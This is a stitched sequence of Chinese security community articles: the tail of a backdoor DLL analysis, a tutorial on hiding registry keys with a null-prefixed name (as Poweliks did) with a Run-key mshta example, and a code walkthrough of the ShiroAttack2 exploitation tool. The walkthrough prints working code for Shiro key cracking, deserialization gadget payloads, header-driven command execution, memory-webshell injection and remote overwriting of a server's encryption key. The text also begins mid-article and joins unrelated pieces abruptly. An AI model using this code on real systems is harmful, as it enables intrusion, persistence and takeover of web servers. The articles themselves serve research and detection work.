Pragma: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Host:
HTTP/1.1
GET
HTTP://
http://
12. 命令参数
-warn
-erro
-stop
-shutdown
-reboot
attrib -a -r -s -h "%s"
rundll32.exe %s,StartEXS %s:%s
13. 衍生文件
`.\vmselfdel.bat`
### 小结
简单从导入表和字符串表中粗略概括以上恶意行为，下面用IDA对照上面的信息，详细分析
## 高级静态分析
这里我们大概看一下，简单从导入表和导出表来看他的行为
1. 入口位置：DllMain
IDA直接识别出入口位置，并用其最重要的功能之一的F5大法来查看伪代码。如果使用rundll32.exe启动这个DLL文件，就会从这里开始执行。
很明显从下面API可以看出这里有创建多条线程的操作
2.导入表
直接定位关键函数。
跟踪关键函数 RegisterServiceCtrlHandlerA，接着用交叉引用和F5大法就可以跟到打开服务的行为
3.字符串表
根据可以的网络访问字符串，再结合跟进去后看见的socket连接行为，很明显是后门访问获取特定指令来进行HTTP请求
4.导出表
根据符号信息可以初步判断是一些安装卸载服务和其他一些行为的操作。
跟进InstallSA导出函数发现存在反虚拟机行为。
### 小结
这个简单分析初步探索一下静态逆向过程。很明显这个过程如果对Windows API不熟的话需要不断的查询,当然我们的关注点应该更专注于恶意行为会用到的API。 | 社区文章 |
## 0x00 前言
知名恶意软件Poweliks曾使用过的一个后门技术，在注册表启动位置创建一个特殊的注册表键值，通过mshta来执行payload
对于这个特殊的注册表键值，在正常情况下无法对其访问，这其中的原理是什么呢?如何读取、创建以及如何删除呢?本文将要一一介绍
## 0x01 简介
本文将要介绍以下内容：
·隐藏注册表的原理
·隐藏注册表的实现
·程序编写上需要注意的问题
## 0x02 原理
注册表键值名称经过特殊构造： 以”\0”作为开头，后面加上任意字符(不能为数字)
对于Windows系统，”\0”(即0x0000)会被识别为字符串的结束符，所以在对该字符串读取的过程中，遇到开头的”\0”，会被解析成结束符，提前截断，导致读取错误
而使用Native API设定注册表，需要使用结构体OBJECT_ATTRIBUTES作为参数， 指定读取的字符串长度
只要长度设定正常，就能够读取正确的字符串，避免这个bug
所以，我们可以通过Native API来创建这个特殊的注册表名
更为重要的是，像regedit.exe和其他对注册表的操作，通常会调用Win32 API，这就导致该注册表无法被读取，也就实现了所谓的”隐藏”
综上，创建方法为： 通过Native API创建一个以”\0”开头的键值
0x03 编写程序实现
通过Native API实现对注册表的操作，可供参考的工程地址：
<https://www.codeproject.com/Articles/14508/Registry-Manipulation-Using-NT-Native-APIs>
作者Dan Madden，他的代码使用了类的封装
个人倾向于使用最基本的api实现，于是参考他的代码，重新设计
对于Native API，需要的结构如下：
### 1.获取Native API的地址
注册表操作的相关Native API可从ntdll.dll中获得
关键代码如下：
HINSTANCE hinstStub = GetModuleHandle(_T("ntdll.dll"));
NtOpenKey = (LPNTOPENKEY)GetProcAddress(hinstStub, "NtOpenKey");
### 2.Native API的重定义和声明
Native API在使用前需要重定义和声明
部分关键代码如下：
typedef NTSTATUS (STDAPICALLTYPE NTOPENKEY)
(
IN HANDLE KeyHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef NTOPENKEY FAR * LPNTOPENKEY;
LPNTOPENKEY NtOpenKey;
### 3.特殊结构体的使用
注册表操作相关Native API会使用到如下结构体，需要定义和声明
·InitializeObjectAttributes
·_STRING
·_UNICODE_STRING
·_OBJECT_ATTRIBUTES
·_KEY_INFORMATION_CLASS
·_KEY_BASIC_INFORMATION
·_KEY_VALUE_PARTIAL_INFORMATION
·_KEY_VALUE_INFORMATION_CLASS·
·RtlInitAnsiString
·RtlAnsiStringToUnicodeString
Dan Madden的工程实现了创建隐藏注册表项(注册表项名称以\0开头)，该注册表项下的键值通过正常的Native API实现创建、读取、删除
通过最基本api的实现过程不再赘述，封装好的API源代码可参考文末给出的链接
测试Dan Madden工程包含的功能：
### 1.创建隐藏注册表项
`MyCreateHiddenKey("\\Registry\\Machine\\Software\\testhidden");`
使用注册表工具regedit.exe无法打开该键值，如下图
2.在该注册表下创建注册表键值
先获得该注册表项的句柄：
`hKey = MyOpenHiddenKey("\\Registry\\Machine\\Software\\testhidden");`
创建注册表项下的键值test1并赋值：
`MySetValueKey(hKey,"test1","0123456789abcdef",REG_SZ);`
读取该注册表项下键值test1的内容：
`MyQueryValueKeyString(hKey,"test1");`
删除该注册表项下的键值test1：
`MyDeleteValueKey(hKey,"test1");`
删除注册表项：
`MyDeleteKey(hKey);`
程序输出如下图，成功对隐藏注册表项下的正常键值进行操作
接下来，对Dan Madden的工程添加新的功能：创建、读取、删除隐藏注册表键值，思路如下：
对于注册表项的隐藏，在注册表项的名称首位填”\0”即可
对应注册表键值的隐藏，原理上也是在键值的名称首位填”\0”，但在参数传递上需要注意更多问题
### 1.不需要修改的功能
创建注册表键、打开注册表键和删除注册表键的功能不需要修改，使用正常的名称即可
### 2.设置注册表键值
对应源代码中的MySetHiddenValueKey
传入参数使用char型数组，，用来定义注册表键值名称，内容为”\0abcd”
由于”\0”的存在，所以无法直接使用strlen计算数组长度
变通方法：
计算从偏移1开始的数组长度，最终再加1
即len = strlen(buf+1)+1
Native API NtSetValueKey用来设定键值，定义如下：
typedef NTSTATUS (STDAPICALLTYPE NTSETVALUEKEY)
(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex, /* optional */
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
第二个参数指定键值名称，需要使用结构体UNICODE_STRING
正常情况下，我们需要先使用RtlInitAnsiString将传入的buf数组转换成结构体ANSI_STRING，再使用RtlAnsiStringToUnicodeString将其转换成结构体UNICODE_STRING，作为参数
由于”\0”的存在，无法使用RtlAnsiStringToUnicodeString
所以，我们需要自己实现结构体ANSI_STRING向结构体UNICODE_STRING的转换
ANSI向UNICODE的转换，在长度计算上，乘以2即可
数组内容上，奇数位赋值，偶数为填0x00
当然，我们需要一个中转数组TempBuff实现数组内容的转换
关键代码如下：
ValueName.Length = asName.Length*2;
ValueName.MaximumLength = asName.MaximumLength*2;
char *TempBuff;
TempBuff = (char*)malloc(ValueName.Length);
for(int i=0;i<asName.Length;i++)
{
TempBuff[i*2] = asName.Buffer[i];
TempBuff[i*2+1] = 0x00;
}
ValueName.Buffer = (WCHAR *)TempBuff;
第四个参数，指定键值内容，需要将传入的char数组转换为WCHAR
关键代码：
WCHAR wszValue[1024];
unsigned int n ;
for (n=0; n<strlen(csData); n++) {
wszValue[n] = (WCHAR)csData[n];
}
wszValue[n++] = L'\0';
### 3.读取注册表键值
对应源代码中的MyQueryHiddenValueKeyString
参照2，需要注意”\0”的影响
### 4、删除注册表键值
对应源代码中的MyDeleteHiddenValueKey
参照2，需要注意”\0”的影响
**实际测试：**
创建注册表项test2,创建隐藏注册表键值\0test2,创建正常注册表键值test2
直接打开，如下图
能够正常访问注册表键值test2，但无法访问注册表键值\0test2
如下图
而我们编写的程序能够正常读取，如下图
至此，成功实现对注册表键值的隐藏
以上功能代码已开源，地址如下：
<https://github.com/3gstudent/HiddenNtRegistry>
## 0x04 powershell实现
可参考Brian Reitz的工程，地址如下：
<https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741>
具体说明可参考：
<https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353?source=collection_archive———2—————->
实现了在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下创建键值\0abcd，内容为mshta
javascript:alert(1)
使用我们编写的程序成功读取该键值，如下图
## 0x05 补充
PSReflect-Functions包含多个通过powershell调用API的实例代码，地址如下：
<https://github.com/jaredcatkinson/PSReflect-Functions>
## 0x06 小结
本文介绍了Poweliks使用过的注册表隐藏技术，分析原理，编写c程序实现功能，测试powershell实现代码
> 本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请联系嘶吼编辑：
> <http://www.4hou.com/penetration/9141.html> | 社区文章 |
author:藏青@雁行安全团队
## 前言
最近想要针对Shiro的利用工具扩展利用链，但自己完全写一个工具即麻烦也没有必要，因此想要通过`SummerSec`师傅开源的工具[
**ShiroAttack2**](https://github.com/SummerSec/ShiroAttack2)扩展来实现，既然要扩展首先就得了解项目的源码实现。本片文章中我不会通篇的对这个项目代码进行分析，只抽出几个我认为的要点进行分析。
## 源码分析
### 密钥验证
在这款工具中，密钥验证主要是分为两种情况，一种是用户指定密钥，一种是未指定密钥时爆破密钥。无论是使用哪种方式来验证key都需要调用`checkIsShiro`方法判断是否为shiro。
//指定key
@FXML
void crackSpcKeyBtn(ActionEvent event) {
this.initAttack();
if (this.attackService.checkIsShiro()) {
String spcShiroKey = this.shiroKey.getText();
if (!spcShiroKey.equals("")) {
this.attackService.simpleKeyCrack(spcShiroKey);
} else {
this.logTextArea.appendText(Utils.log("请输入指定密钥"));
}
}
}
//爆破key
@FXML
void crackKeyBtn(ActionEvent event) {
this.initAttack();
if (this.attackService.checkIsShiro()) {
this.attackService.keysCrack();
}
}
`checkIsShiro`首先指定`remeberMe=1`通过返回结果是否包含`deleteMe`来判断是否为shiro框架。如果返回结果没有`deleteMe`则生成一个10位的随机数作为`remeberMe`的内容再去请求。这里之所以要生成一个位随机数我推测可能是防止WAF将`remeberMe=1`当作特征拦了。但是我这里还是想到了一种拦截思路，如果检测到`rememberMe=1`
WAF直接阻断请求，那`result`的返回内容就会是`null`，在`result.contains("=deleteMe")`中就会触发异常，导致直接进入`catch`代码块，
**那样工具就无法检测是否为Shiro，后面的漏洞利用功能也会失效。**
public boolean checkIsShiro() {
boolean flag = false;
try {
HashMap<String, String> header = new HashMap();
//指定remeberMe=1
header.put("Cookie", this.shiroKeyWord + "=1");
String result = this.headerHttpRequest(header);
flag = result.contains("=deleteMe");
if (flag) {
this.mainController.logTextArea.appendText(Utils.log("存在shiro框架！"));
flag = true;
} else {
HashMap<String, String> header1 = new HashMap();
//生成10位随机数判断
header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
String result1 = this.headerHttpRequest(header1);
flag = result1.contains("=deleteMe");
if(flag){
this.mainController.logTextArea.appendText(Utils.log("存在shiro框架！"));
flag = true;
}else {
this.mainController.logTextArea.appendText(Utils.log("未发现shiro框架！"));
}
}
} catch (Exception var4) {
if (var4.getMessage() != null) {
this.mainController.logTextArea.appendText(Utils.log(var4.getMessage()));
}
}
return flag;
}
### 利用链爆破
无论使用什么利用链都需要和回显的方式配合，所以这里首先是拿出了利用链和回显方式并进行组合。组合后通过`:`分割，通过`gadgetCrack`检测这种利用链和回显方式是否存在。目前这款工具主要的利用链是CC利用链和Beanutils利用链。回显方式主要是`Tomcat`和`Spring`回显，作者后来版本也加了`通用回显`，这些回显方式之后我会分析。
void crackGadgetBtn(ActionEvent event) {
String spcShiroKey = this.shiroKey.getText();
if (this.attackService == null) {
this.initAttack();
}
boolean flag = false;
if (!spcShiroKey.equals("")) {
//获取利用链和回显方式并进行组合
List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
for(int i = 0; i < targets.size(); ++i) {
String[] t = ((String)targets.get(i)).split(":");
String gadget = t[0];
String echo = t[1];
//检测利用链和回显方式是否存在
flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
if (flag) {
break;
}
}
} else {
this.logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key"));
}
if (!flag) {
this.logTextArea.appendText(Utils.log("未找到构造链"));
}
}
`gadgetCrack`生成`remeberMe`的内容并加上`Ctmd`请求头，最后判断返回中是否包含`08fb41620aa4c498a1f2ef09bbc1183c`判断是否利用成功，这里也可以当作这款工具的特征。
public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
boolean flag = false;
try {
//生成rememberMe
String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
if (rememberMe != null) {
HashMap header = new HashMap();
header.put("Cookie", rememberMe + ";");
//header中加入Ctmd头
header.put("Ctmd", "08fb41620aa4c498a1f2ef09bbc1183c");
String result = this.headerHttpRequest(header);
//判断返回值中是否有08fb41620aa4c498a1f2ef09bbc1183c
if (result.contains("08fb41620aa4c498a1f2ef09bbc1183c")) {
this.mainController.logTextArea.appendText(Utils.log("[*] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt));
this.mainController.logTextArea.appendText(Utils.log("[*] 请尝试进行功能区利用。"));
this.mainController.gadgetOpt.setValue(gadgetOpt);
this.mainController.echoOpt.setValue(echoOpt);
gadget = gadgetOpt;
attackRememberMe = rememberMe;
flag = true;
} else {
this.mainController.logTextArea.appendText(Utils.log("[x] 测试:" + gadgetOpt + " 回显方式: " + echoOpt));
}
}
} catch (Exception var8) {
this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
}
return flag;
}
下面分析`remeberMe`生成部分，主要包含四个部分。
* 获取利用链的Class对象并实例化
* 根据回显方式创建`TemplatesImpl`对象
* 传入`TemplatesImpl`通过getObject获取构建好的恶意对象
* 构建好恶意对象后AES加密后返回
public String GadgetPayload(String gadgetOpt, String echoOpt, String spcShiroKey) {
String rememberMe = null;
try {
//获取利用链的Class对象
Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);
ObjectPayload<?> gadgetPayload = (ObjectPayload)gadgetClazz.newInstance();
//根据回显方式创建TemplatesImpl对象
Object template = Gadgets.createTemplatesImpl(echoOpt);
//创建恶意对象
Object chainObject = gadgetPayload.getObject(template);
//生成的恶意对象AES加密后返回
rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
} catch (Exception var9) {
// var9.printStackTrace();
this.mainController.logTextArea.appendText(Utils.log(var9.getMessage()));
}
return rememberMe;
}
**获取利用链的Class对象并实例化**
根据类名获取对应的Class对象
public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception;
public static class Utils {
public static Class<? extends ObjectPayload> getPayloadClass(String className) {
Class<? extends ObjectPayload> clazz = null;
try {
//根据类名获取Class对象
clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className));
} catch (Exception exception) {}
return clazz;
}
}
}
**根据回显方式创建TemplatesImpl对象**
通过Javasist生成回显类并转换为字节码赋值给`_bytecodes`属性。
public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class<?> abstTranslet) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
//根据名称通过forName加载回显的类
Class<? extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
EchoPayload<?> echoObj = (EchoPayload)echoClazz.newInstance();
//通过Javasist动态生成回显类
CtClass clazz = echoObj.genPayload(pool);
CtClass superClass = pool.get(abstTranslet.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
//将生成的回显类字节码赋值给_bytecodes属性
Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bcField.setAccessible(true);
bcField.set(templates, new byte[][]{classBytes});
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
return templates;
}
**通过getObject获取恶意对象**
通过getObject方法获取恶意对象，在这个工具里使用的利用链主要为CC链和`Beanutils`链。
**AES加密构建好的恶意对象**
由于Shiro在高版本中更换了GCM加密方式，因此根据版本的不同选择不同的加密算法。
public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception {
byte[] serpayload = SerializableUtils.toByteArray(chainObject);
byte[] bkey = DatatypeConverter.parseBase64Binary(key);
byte[] encryptpayload = null;
//根据版本不同使用不同的加密算法
if (AttackService.aesGcmCipherType == 1) {
GcmEncrypt gcmEncrypt = new GcmEncrypt();
String byteSource = gcmEncrypt.encrypt(key,serpayload);
System.out.println(shiroKeyWord + "=" + byteSource);
return shiroKeyWord + "=" + byteSource;
} else {
encryptpayload = AesUtil.encrypt(serpayload, bkey);
}
return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload);
}
关于利用链这里我想多提一些内容，因为本来分析这款工具的原理就是为了扩展利用链。通过上面的分析可以看到作者做了一个抽象，`getObject`传入的对象是构建好的`TemplateImpl`对象，所以这也是作者实现的利用链不多的原因，因为不是所有的利用链封装的都是`TemplateImpl`对象，而且也有很多利用方式无法回显利用。
### 回显方式分析
#### Tomcat
Tomcat的回显主要的思路都是获取Response对象，并向Response中写入执行结果来实现，下面我对多种Tomcat回显的方式做一个简要总结。
* `ApplicationFilterChain#lastServicedResponse`中记录了response的内容，所以可以通过获取`lastServicedResponse`来获取Response对象并进行写入。使用这种方式需要请求两次，因为在默认情况下`lastServicedResponse`中并不会记录`response`，所以第一次请求需要修改一个属性值让`lastServicedResponse`记录`response`。但是这种方式不能用在Shiro反序列化中回显，因为Shiro的反序列化发生在`lastServicedResponse`缓存Response之前，所以我们无法在反序列化的过程中拿到缓存中的Response对象。
* `AbstractProcessor#response`中存储了Response对象，可以通过获取这个属性值获取response对象。这种方式是通过`Thread.currentThread.getContextClassLoader()`获取`webappClassLoader`，再获取到Context最后一层层反射获取Response对象。这种方式的主要问题是代码量过多，在Shiro的利用中可能由于请求头过大导致利用失败。虽然可以通过在RemeberMe中只实现一个ClassLoader加载Body中的Class这种方式绕过。但是这样设计可能会导致和其他回显的利用方式有些差别，导致代码无法复用，所以我猜测这也是作者没有使用这种方式回显的原因。
* 首先通过`Thread.currentThread().getThreadGroup()`获取线程数组，从线程数组中找到包含`http`但不包含`exec`的线程。从保存的`NioEndPoint`中拿到`ConnectionHandler`，再从Handler中拿到`RequestInfo`对象，最后从`RequestInfo`中拿到Response。
最后一种方式是这款工具使用的方式，虽然这种获取方式比较简洁，但是好像没有师傅给出为什么要这么获取的原因，下面我尝试对这种利用方式做出解释。
首先我们要知道，这种方式实际上是从`ClientPoller`线程中取出的`NioEndPoint`对象，并拿到`RequestInfo`对象。
**为什么从**`**ClientPoller**` **中可以拿到**`**NioEndPoint**` **对象？**
ClientPoller对象是在`NioEndPoint#startInternal`时创建的，在创建`ClientPoller`线程时传入了`poller`对象作为target属性，因此可以从`ClientPoller->target`中拿到poller对象，而`Poller`又是`NioEndpoint`的内部类，所以其`this$0`持有外部类`NioEndPoint`的引用。因此从`ClientPoller`线程中获取到`NioEndPoint`对象。
@Override
public void startInternal() throws Exception {
...
initializeConnectionLatch();
// Start poller thread
poller = new Poller();
Thread pollerThread = new Thread(poller, getName() + "-ClientPoller");
pollerThread.setPriority(threadPriority);
pollerThread.setDaemon(true);
pollerThread.start();
startAcceptorThread();
}
}
另外`Acceptor`中也持有`NioEndpoint`对象，因此也可以获取到`RequestInfo`对象。
**为什么要通过for循环进行遍历Thread？**
虽然上面我们看到`ClientPoller`线程只有一个，但是作者在实现工具的时候却使用了for循环遍历，这是为什么？
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
...
我当前的环境是`springboot`中内置的`tomcat`,但是打开自己下载的`tomcat`发现其实创建的`ClientPoller`不一定只有一个,查阅资料默认配置下`ClientPoller`的个数是CPU的核数。
pollers = new Poller[getPollerThreadCount()];
for (int i=0; i<pollers.length; i++) {
pollers[i] = new Poller();
Thread pollerThread = new Thread(pollers[i], getName() + "-ClientPoller-"+i);
pollerThread.setPriority(threadPriority);
pollerThread.setDaemon(true);
pollerThread.start();
}
所以我认为这个for循环的这么写应该更合理一些
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (var3.contains("ClientPoller")) {
Object var1 = getFV(var7, "target");
...
或者通过`Acceptor`来获取，`Acceptor`主要用来接收连接，默认为一个。
if (var3.contains("Acceptor")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "endpoint"), "handler"), "global");
#### Spring
通过`RequestContextHolder`的静态方法获取`RequestAttributes`对象，在通过`getResponse`获取Response对象。
#### AllEcho
这种方式基本思路是遍历当前线程保存的所有非静态属性，直到找到`Request`或`Response`对象。默认遍历的深度是50层。
private static void Find(Object start,int depth){
if(depth > max_depth||(req!=null&&resp!=null)){
return;
}
//开始时start传入的是Thread.currentThread()对象
Class n=start.getClass();
do{
//获取当前对象中保存的属性
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object obj = null;
try{
//判断属性是否为static，是则跳过
if(Modifier.isStatic(declaredField.getModifiers())){
//静态字段
//obj = declaredField.get(null);
}else{
obj = declaredField.get(start);
}
if(obj != null){
//不是数组直接调用proc方法检查obj中是否为request或response对象
if(!obj.getClass().isArray()){
proc(obj,depth);
}else{
//是数组则判断持有的对象是否为基本类型，不是基本类型才会遍历数组并判断是否为request或response对象
if(!obj.getClass().getComponentType().isPrimitive()) {
for (Object o : (Object[]) obj) {
proc(o, depth);
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}while(
//获取父类并遍历属性
(n = n.getSuperclass())!=null
);
}
判断当前对象是否持有request和response类型，如果是则执行命令并写入Response。
private static void proc(Object obj,int depth){
//如果遍历层数已经是最大层数则返回
if(depth > max_depth||(req!=null&&resp!=null)){
return;
}
// 如果该类型是java.lang包下的并且已经处理过了则跳过
if(!isSkiped(obj)){
//判断obj类型是否为HttpServletRequest.class的子类
if(req==null&&ReqC.isAssignableFrom(obj.getClass())){
req = (HttpServletRequest)obj;
if(req.getHeader("cmd")==null)
req=null;
//判断obj类型是否为HttpServletResponse.class的子类
}else if(resp==null&&RespC.isAssignableFrom(obj.getClass())){
resp = (HttpServletResponse) obj;
}
//如果获取到request和response对象，则执行命令并写入
if(req!=null&&resp!=null){
try {
PrintWriter os = resp.getWriter();
Process proc = Runtime.getRuntime().exec(req.getHeader("cmd"));
proc.waitFor();
Scanner scanner = new Scanner(proc.getInputStream());
scanner.useDelimiter("\\A");
os.print("Test by fnmsd "+scanner.next());
os.flush();
}catch (Exception e){
}
return;
}
//继续遍历
Find(obj,depth+1);
}
}
### 内存马
由于注入内存马的代码量比较大，直接将数据带到请求头中会导致请求头过大而注入失败，所以这里作者将实际内存马的内容和注入的代码分开，post的参数dy中才是真正注入内存马的代码。
public void injectMem(String memShellType, String shellPass, String shellPath) {
//获取rememberMe的内容，这里传入的回显类是InjectMemTool，也就是InjectMemTool的字节码将会被放到TemplateImpl->_bytecodes属性中
String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);
if (injectRememberMe != null) {
//请求头中传入shell密码和路径。
HashMap<String, String> header = new HashMap();
header.put("Cookie", injectRememberMe);
header.put("p", shellPass);
header.put("path", shellPath);
try {
//根据内存马的类型得到对应的字节码，base64后传给dyv参数。
String b64Bytecode = MemBytes.getBytes(memShellType);
String postString = "dy=" + b64Bytecode;
String result = this.bodyHttpRequest(header, postString);
//返回Success则代表注入成功
if (result.contains("->|Success|<-")) {
String httpAddress = Utils.UrlToDomain(this.url);
this.mainController.InjOutputArea.appendText(Utils.log(memShellType + " 注入成功!"));
this.mainController.InjOutputArea.appendText(Utils.log("路径：" + httpAddress + shellPath));
if (!memShellType.equals("reGeorg[Servlet]")) {
this.mainController.InjOutputArea.appendText(Utils.log("密码：" + shellPass));
}
} else {
if (result.contains("->|") && result.contains("|<-")) {
this.mainController.InjOutputArea.appendText(Utils.log(result));
}
this.mainController.InjOutputArea.appendText(Utils.log("注入失败,请更换注入类型或者更换新路径"));
}
} catch (Exception var10) {
this.mainController.InjOutputArea.appendText(Utils.log(var10.getMessage()));
}
this.mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------"));
}
}
下面我们看下`InjectMemTool`的内容，下面是`InjectMemTool`构造方法的内容，前面内容和`Tomcat`回显的内容相同，从线程数组中获取request和response对象，我没有在代码中给出来。
o = getFV(p, \"req\");
resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);
Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
//获取dy参数保存的内容
dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")});
if (dy != null && !dy.isEmpty()) {
//base64解码
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy);
//获取defineClass方法
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
//调用defineClass加载dy中保存的字节码
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
//实例化对象并调用equals方法
cc.newInstance().equals(conreq);
done = true;
}
### 修改shiro key
`SummerSec`师傅实现了修改shiro
key的功能了，有了这个功能渗透就真的是比手速了，或许以后渗透还需到了解如何动态修补各种漏洞，哈哈，开个玩笑。
修改Shiro
key的思路是找到`ShiroFilterFactoryBean`对象，从这个对象中可以拿到`remeberMeMamanger`，这个对象中可以获取加密和解密的密钥。
在`filterConfigs`中保存了`ShiroFilterFactoryBean`实例，因此可以从中获取key。
`SummerSec`师傅的实现代码如下,前面获取`filterConfigs`的代码就不分析了，和注册Filter内存马的时候一致。
org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread();
java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
Object obj = field.get(thread);
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
//获取filterConfigs属性
field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs");
field.setAccessible(true);
obj = field.get(obj);
java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj;
//遍历filterConfigs
java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator();
while (entries.hasNext()) {
Map.Entry<String, Object> entry = entries.next();
//检测key是否为shiroFilterFactoryBean
if (entry.getKey().equals("shiroFilterFactoryBean")) {
obj = entry.getValue();
field = obj.getClass().getDeclaredField("filter");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
field.setAccessible(true);
obj = field.get(obj);
//通过反射调用setEncryptionCipherKey修改加密key
java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
//通过反射调用setDecryptionCipherKey修改解密key
java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
}
}
但是这种方式有一个问题，如果我设置`ShiroFilterFactoryBean`时设置了name属性，那么遍历`filterConfigs`是，保存`ShiroFilterFactoryBean`的Filter的名称就会是`shiroFilter`，所以会修改失败。
@Bean(
name = {"shiroFilter"}
)
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
Map<String, String> map = new LinkedHashMap();
map.put("/doLogin", "anon");
map.put("/index/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
但是无论有没有配置name属性，filter属性中保存的filter的类名一定是`ShiroFilterFactoryBean`,所以我们可以先获取filter属性，然后查看类名是否为`ShiroFilterFactoryBean`，如果是则通过反射调用修改key。
while (entries.hasNext()) {
Map.Entry<String, Object> entry = entries.next();
obj = entry.getValue();
//先获取filter属性
field = obj.getClass().getDeclaredField("filter");
field.setAccessible(true);
obj = field.get(obj);
//判断保存的类型是否为ShiroFilterFactoryBean
if (obj.getClass().toString().contains("ShiroFilterFactoryBean")) {
field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
field.setAccessible(true);
obj = field.get(obj);
java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
}
}
## 总结
通过学习师傅写的工具，对很多技术的实现细节有了一些了解，确实也学到了很多。最后总结部分我想简单聊一下这个工具的利用特征。
* ·在验证key或者爆破key前，会发送RemeberMe=1，如果检测到Cookie中包含`RemeberMe=1`直接将请求断开，会导致这个工具无法检测密钥，后续的功能也将无法用。
